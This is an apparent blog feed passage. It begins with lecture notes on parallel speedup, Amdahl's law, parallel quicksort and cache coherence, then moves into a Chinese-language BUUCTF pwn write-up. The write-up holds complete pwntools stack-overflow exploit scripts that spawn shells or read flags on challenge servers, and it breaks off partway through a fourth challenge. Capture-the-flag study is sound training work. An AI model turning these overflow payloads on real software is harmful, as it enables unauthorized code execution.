&lt;li&gt;$p$ processor cores, $T_{k}$ is the running time using $k$ cores&lt;/li&gt;
&lt;li&gt;Def. Speedup: $\displaystyle S_{p} =\frac{T_{1}}{T_{p}}$
&lt;ul&gt;
&lt;li&gt;$S_{p}$ is relative speedup if $T_{1}$ is running time of parallel version of the code running on 1 core&lt;/li&gt;
&lt;li&gt;$S_{p}$ is absolute speedup if $T_{1}$ is running time of sequential version of code running on 1 core&lt;/li&gt;
&lt;li&gt;Absolute speedup is a much truer measure of the benefits of parallelism&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Def. Efficiency: $\displaystyle E_{p} =\frac{S_{p}}{p} =\frac{T_{1}}{pT_{p}}$
&lt;ul&gt;
&lt;li&gt;Reported as a percentage in the range $( 0,100]$&lt;/li&gt;
&lt;li&gt;Measures the overhead due to parallelization&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Performance of psum-local&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.83acz862f4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Efficiencies OK, not great&lt;/li&gt;
&lt;li&gt;Our example is easily parallelizable&lt;/li&gt;
&lt;li&gt;Real codes are often much harder to parallelize&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Amdahl&apos;s Law&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gene Amdahl (Nov. 16, 1922 – Nov. 10, 2015)&lt;/li&gt;
&lt;li&gt;Captures the difficulty of using parallelism to speed things up&lt;/li&gt;
&lt;li&gt;Overall problem
&lt;ul&gt;
&lt;li&gt;$T$ - Total sequential time required&lt;/li&gt;
&lt;li&gt;$p$ - Fraction of total that can be sped up ($0\leqslant p\leqslant 1$)&lt;/li&gt;
&lt;li&gt;$k$ - Speedup factor&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Resulting Performance
&lt;ul&gt;
&lt;li&gt;$\displaystyle T_{k} =\frac{pT}{k} +( 1-p) \cdot T$
&lt;ul&gt;
&lt;li&gt;Portion which can be sped up runs $k$ times faster&lt;/li&gt;
&lt;li&gt;Portion which cannot be sped up stays the same&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Least possible running time:
&lt;ul&gt;
&lt;li&gt;$k=\infty $&lt;/li&gt;
&lt;li&gt;$T_{\infty } =( 1-p) \cdot T$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Amdahl&apos;s Law Example&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Overall problem
&lt;ul&gt;
&lt;li&gt;$T=10$&lt;/li&gt;
&lt;li&gt;$p=0.9$&lt;/li&gt;
&lt;li&gt;$k=9$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Resulting Performance
&lt;ul&gt;
&lt;li&gt;$\displaystyle T_{9} =0.9\cdot \frac{10}{9} +0.1\cdot 10=1.0+1.0=2.0$&lt;/li&gt;
&lt;li&gt;Least possible running time:
&lt;ul&gt;
&lt;li&gt;$T_{\infty } =0.1\cdot 10.0=1.0$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;A More Substantial Example: Sort&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Sort set of $N$ random numbers&lt;/li&gt;
&lt;li&gt;Multiple possible algorithms
&lt;ul&gt;
&lt;li&gt;Use parallel version of quicksort&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sequential quicksort of set of values $X$
&lt;ul&gt;
&lt;li&gt;Choose &quot;pivot&quot; $p$ from $X$&lt;/li&gt;
&lt;li&gt;Rearrange $X$ into
&lt;ul&gt;
&lt;li&gt;$L$: Values $\leqslant p$&lt;/li&gt;
&lt;li&gt;$R$: Values $\geqslant p$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Recursively sort $L$ to get $\displaystyle L^{\prime }$&lt;/li&gt;
&lt;li&gt;Recursively sort $R$ to get $\displaystyle R^{\prime }$&lt;/li&gt;
&lt;li&gt;Return $\displaystyle L^{\prime } :p:R^{\prime }$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sequential Quicksort Visualized&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99to7v3zp2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwowmozi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Sequential Quicksort Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void qsort_serial(data_t *base, size_t nele) {
  if (nele &amp;lt;= 1)
    return;
  if (nele == 2) {
    if (base[0] &amp;gt; base[1])
      swap(base, base+1);
    return;
  }

  /* Partition returns index of pivot */
  size_t m = partition(base, nele);
  if (m &amp;gt; 1)
    qsort_serial(base, m);
  if (nele-1 &amp;gt; m+1)
    qsort_serial(base+m+1, nele-m-1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Sort &lt;em&gt;nele&lt;/em&gt; elements starting at &lt;em&gt;base&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Recursively sort $L$ or $R$ if has more than one element&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Parallel Quicksort&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Parallel quicksort of set of values $X$
&lt;ul&gt;
&lt;li&gt;If $N\leqslant Nthresh$, do sequential quicksort&lt;/li&gt;
&lt;li&gt;Else
&lt;ul&gt;
&lt;li&gt;Choose &quot;pivot&quot; $p$ from $X$&lt;/li&gt;
&lt;li&gt;Rearrange $X$ into
&lt;ul&gt;
&lt;li&gt;$L$: Values $\leqslant p$&lt;/li&gt;
&lt;li&gt;$R$: Values $\geqslant p$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Recursively spawn separate threads
&lt;ul&gt;
&lt;li&gt;Sort $L$ to get $\displaystyle L^{\prime }$&lt;/li&gt;
&lt;li&gt;Sort $R$ to get $\displaystyle R^{\prime }$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Return $\displaystyle L^{\prime } :p:R^{\prime }$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Parallel Quicksort Visualized&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d540v0iic.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Thread Structure: Sorting Tasks&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5epz84ec.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Task: Sort subrange of data
&lt;ul&gt;
&lt;li&gt;Specify as:
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;base&lt;/em&gt;: Starting address&lt;/li&gt;
&lt;li&gt;&lt;em&gt;nele&lt;/em&gt;: Number of elements in subrange&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Run as separate thread&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Small Sort Task Operation&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwox4jmq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sort subrange using serial quicksort&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Large Sort Task Operation&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a2a5u9cs.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Top-Level Function (Simplified)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void tqsort(data_t *base, size_t nele) {
  init_task(nele);
  global_base = base;
  global_end = global_base + nele - 1;
  task_queue_ptr tq = new_task_queue();
  tqsort_helper(base, nele, tq);
  join_tasks(tq);
  free_task_queue(tq);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Sets up data structures&lt;/li&gt;
&lt;li&gt;Calls recursive sort routine&lt;/li&gt;
&lt;li&gt;Keeps joining threads until none left&lt;/li&gt;
&lt;li&gt;Frees data structures&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Recursive sort routine (Simplified)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* Multi-threaded quicksort */
static void tqsort_helper(data_t *base, size_t nele, task_queue_ptr tq) {
  if (nele &amp;lt;= nele_max_sort_serial) {
    /* Use sequential sort */
    qsort_serial(base, nele);
    return;
  }
  sort_task_t *t = new_task(base, nele, tq);
  spawn_task(tq, sort_thread, (void *) t);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Small partition: Sort serially&lt;/li&gt;
&lt;li&gt;Large partition: Spawn new sort task&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Sort task thread (Simplified)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* Thread routine for many-threaded quicksort */
static void *sort_thread(void *vargp) {
  sort_task_t *t = (sort_task_t *) vargp;
  data_t *base = t-&amp;gt;base;
  size_t nele = t-&amp;gt;nele;
  task_queue_ptr tq = t-&amp;gt;tq;
  free(vargp);
  size_t m = partition(base, nele);
  if (m &amp;gt; 1)
    tqsort_helper(base, m, tq);
  if (nele-1 &amp;gt; m+1)
    tqsort_helper(base+m+1, nele-m-1, tq);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Get task parameters&lt;/li&gt;
&lt;li&gt;Perform partitioning step&lt;/li&gt;
&lt;li&gt;Call recursive sort routine on each partition&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Parallel Quicksort Performance&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70anoekfdi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Serial fraction: Fraction of input at which do serial sort&lt;/li&gt;
&lt;li&gt;Sort $2^{27}$ (134,217,728) random values&lt;/li&gt;
&lt;li&gt;Best speedup = 6.84X&lt;/li&gt;
&lt;li&gt;Good performance over wide range of fraction values
&lt;ul&gt;
&lt;li&gt;F too small: Not enough parallelism&lt;/li&gt;
&lt;li&gt;F too large: Thread overhead + run out of thread memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Amdahl&apos;s Law &amp;amp; Parallel Quicksort&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Sequential bottleneck
&lt;ul&gt;
&lt;li&gt;Top-level partition: No speedup&lt;/li&gt;
&lt;li&gt;Second level: $\leqslant 2X$ speedup&lt;/li&gt;
&lt;li&gt;$k^{th}$ level: $\leqslant 2^{k-1} X$ speedup&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implications
&lt;ul&gt;
&lt;li&gt;Good performance for small-scale parallelism&lt;/li&gt;
&lt;li&gt;Would need to parallelize partitioning step to get large-scale parallelism
&lt;ul&gt;
&lt;li&gt;Parallel Sorting by Regular Sampling (H. Shi &amp;amp; J. Schaeffer, J. Parallel &amp;amp; Distributed Computing, 1992)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Parallelizing Partitioning Step&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.83aczat3uo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Experience with Parallel Partitioning&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Could not obtain speedup&lt;/li&gt;
&lt;li&gt;Speculate: Too much data copying
&lt;ul&gt;
&lt;li&gt;Could not do everything within source array&lt;/li&gt;
&lt;li&gt;Set up temporary space for reassembling partition&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Lessons Learned&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Must have parallelization strategy
&lt;ul&gt;
&lt;li&gt;Partition into &lt;em&gt;k&lt;/em&gt; independent parts&lt;/li&gt;
&lt;li&gt;Divide-and-conquer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Inner loops must be synchronization free
&lt;ul&gt;
&lt;li&gt;Synchronization operations very expensive&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Beware of Amdahl&apos;s Law
&lt;ul&gt;
&lt;li&gt;Serial code can become bottleneck&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Memory Consistency&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adkuqke98.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What are the possible values printed ?
&lt;ul&gt;
&lt;li&gt;Depends on memory consistency model&lt;/li&gt;
&lt;li&gt;Abstract model of how hardware handles concurrent accesses&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sequential consistency
&lt;ul&gt;
&lt;li&gt;Overall effect consistent with each individual thread&lt;/li&gt;
&lt;li&gt;Otherwise, arbitrary interleaving&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sequential Consistency Example&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45hzimw23z.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Impossible outputs
&lt;ul&gt;
&lt;li&gt;100, 1 and 1, 100&lt;/li&gt;
&lt;li&gt;Would require reaching both &lt;strong&gt;Ra&lt;/strong&gt; and &lt;strong&gt;Rb&lt;/strong&gt; before &lt;strong&gt;Wa&lt;/strong&gt; and &lt;strong&gt;Wb&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Non-Coherent Cache Scenario&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Write-back caches, without coordination between them&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkbaqah0b.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Snoopy Caches&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tag each cache block with state
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Invalid&lt;/code&gt; - Cannot use value&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Shared&lt;/code&gt; - Readable copy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Exclusive&lt;/code&gt; - Writeable copy&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8xakhfbo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When cache sees request for one of its E-tagged blocks
&lt;ul&gt;
&lt;li&gt;Supply value from cache&lt;/li&gt;
&lt;li&gt;Set tag to S&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26lssazxce.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://csapp.cs.cmu.edu/3e/home.html&quot;&gt;Computer Systems: A Programmer&apos;s Perspective, 3/E (CS:APP3e)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/schedule.html&quot;&gt;15-213: Intro to Computer Systems: Schedule for Fall 2015&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Write-ups: BUUCTF</title><link>https://cubeyond.net/posts/write-ups/buuctf/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/buuctf/</guid><description>Write-ups for BUUCTF&apos;s pwn aspect.</description><pubDate>Sat, 05 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;rip&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;丢给 IDA 老婆分析，看到有一个危险函数 &lt;code&gt;gets&lt;/code&gt;，还有一个 &lt;code&gt;fun&lt;/code&gt; 会返回 &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;，保护全关。直接打，注意栈对齐。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
b *main+32
b *main+67
c
&quot;&quot;&quot;

FILE = &quot;./pwn1&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 27889

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b&quot;A&quot; * 0x17, rop.ret.address, elf.symbols[&quot;fun&quot;])

    return payload


def main():
    target = launch()
    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;warmup_csaw_2016&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;int sprintf(char* buffer, const char* format, ...);&lt;/code&gt; 函数将格式化后的数据写入缓冲区，返回值是写入的字符数，不包括末尾的空字符 &lt;code&gt;\0&lt;/code&gt;。&lt;code&gt;snprintf&lt;/code&gt; 加入了缓冲区大小检查以及自动截断，比 &lt;code&gt;sprintf&lt;/code&gt; 更安全，虽然本题没考这个函数的安全性问题。&lt;/p&gt;
&lt;p&gt;这里 &lt;code&gt;vuln&lt;/code&gt; 的地址将被写入 buffer &lt;code&gt;s&lt;/code&gt;，然后 &lt;code&gt;write&lt;/code&gt; 负责将 buffer &lt;code&gt;s&lt;/code&gt; 中前九个字节，也就是 &lt;code&gt;vuln&lt;/code&gt; 的地址输出到标准输出。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 返回的是 &lt;code&gt;gets&lt;/code&gt;，我们通过这个 &lt;code&gt;gets&lt;/code&gt; 覆盖返回地址，修改为白送的 &lt;code&gt;vuln&lt;/code&gt; 的地址即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, &quot;-Warm Up-\n&quot;, 0xAuLL);
  write(1, &quot;WOW:&quot;, 4uLL);
  sprintf(s, &quot;%p\n&quot;, vuln);
  write(1, s, 9uLL);
  write(1, &quot;&amp;gt;&quot;, 1uLL);
  return gets(v5);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int vuln()
{
  return system(&quot;cat flag.txt&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
b *main+70
b *main+129
c
&quot;&quot;&quot;

FILE = &quot;./pwn-patched&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 26553

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload(leaked_addr):
    payload = flat(b&quot;A&quot; * 0x48, leaked_addr)

    return payload


def main():
    target = launch()

    target.recvuntil(b&quot;WOW:&quot;)
    leaked_addr = int(target.recvline().strip(), 16)

    payload = construct_payload(leaked_addr)

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ciscn_2019_n_1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;通过 &lt;code&gt;gets&lt;/code&gt; 将 &lt;code&gt;v2&lt;/code&gt; 篡改为 &lt;code&gt;11.28125&lt;/code&gt; 即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int func()
{
  _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts(&quot;Let&apos;s guess the number.&quot;);
  gets(v1);
  if ( v2 == 11.28125 )
    return system(&quot;cat /flag&quot;);
  else
    return puts(&quot;Its value should be 11.28125&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次接触小数的处理问题，调试的时候，可以使用 &lt;code&gt;p/f $xmm0&lt;/code&gt; 来查看这个寄存器的值，同理，使用 &lt;code&gt;p&lt;/code&gt; 指令加上强制转换和解引用，可以检查地址处保存的小数值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; p/f $xmm0
$1 = {
  v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0},
  v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
  v4_float = {11.28125, 0, 0, 0},
  v2_double = {5.404878958234834e-315, 0},
  v16_int8 = {0, -128, 52, 65, 0 &amp;lt;repeats 12 times&amp;gt;},
  v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
  v4_int32 = {11.28125, 0, 0, 0},
  v2_int64 = {5.404878958234834e-315, 0},
  uint128 = 3.98770131343430171379e-4942
}
pwndbg&amp;gt; p/f $xmm0.v4_int32[0]
$2 = 11.28125
pwndbg&amp;gt; p *(float *)($rbp - 4)
$3 = 11.28125
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote, struct

gdbscript = &quot;&quot;&quot;
b *func+58
c
&quot;&quot;&quot;

FILE = &quot;./ciscn_2019_n_1&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 25637

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    payload = flat(b&quot;A&quot; * 0x2C, struct.pack(&quot;&amp;lt;f&quot;, 11.28125))

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;pwn1_sctf_2016&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int vuln()
{
  const char *v0; // eax
  int v2; // [esp+8h] [ebp-50h]
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  _BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  _BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF
  char v6; // [esp+47h] [ebp-11h] BYREF
  _BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF
  _BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf(&quot;Tell me something about yourself: &quot;);
  fgets(s, 32, edata);
  std::string::operator=(&amp;amp;input, s);
  std::allocator&amp;lt;char&amp;gt;::allocator(&amp;amp;v6);
  std::string::string(v5, &quot;you&quot;, &amp;amp;v6);
  std::allocator&amp;lt;char&amp;gt;::allocator(v8);
  std::string::string(v7, &quot;I&quot;, v8);
  replace((std::string *)v4, (std::string *)&amp;amp;input, (std::string *)v7);
  std::string::operator=(&amp;amp;input, v4, v2, v5);
  std::string::~string(v4);
  std::string::~string(v7);
  std::allocator&amp;lt;char&amp;gt;::~allocator(v8);
  std::string::~string(v5);
  std::allocator&amp;lt;char&amp;gt;::~allocator(&amp;amp;v6);
  v0 = (const char *)std::string::c_str((std::string *)&amp;amp;input);
  strcpy(s, v0);
  return printf(&quot;So, %s\n&quot;, s);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上面代码可知，&lt;code&gt;fegts&lt;/code&gt; 读取了 32 个字符到 buffer &lt;code&gt;s&lt;/code&gt;，其中 &lt;code&gt;\0&lt;/code&gt; 占了一个位置，所以我们可以输入的有 31 个字符。&lt;/p&gt;
&lt;p&gt;接着，&lt;code&gt;replace&lt;/code&gt; 会将 buffer &lt;code&gt;s&lt;/code&gt; 中的字符 &lt;code&gt;I&lt;/code&gt; 替换为 &lt;code&gt;you&lt;/code&gt;，返回修改后的字符串，赋给 &lt;code&gt;input&lt;/code&gt;；&lt;code&gt;v0&lt;/code&gt; 是 &lt;code&gt;input.c_str()&lt;/code&gt; 的结果，其中 &lt;code&gt;c_str()&lt;/code&gt; 的功能是 &lt;code&gt;Returns a pointer to a null-terminated character array with data equivalent to those stored in the string.&lt;/code&gt; 这个结果被 &lt;code&gt;strcpy&lt;/code&gt; 复制到 buffer &lt;code&gt;s&lt;/code&gt;，由于 &lt;code&gt;strcpy&lt;/code&gt; 不会检查 buffer 大小，所以可能造成溢出，溢出后我们篡改返回地址返回到后门函数 &lt;code&gt;get_flag&lt;/code&gt; 即可。&lt;/p&gt;
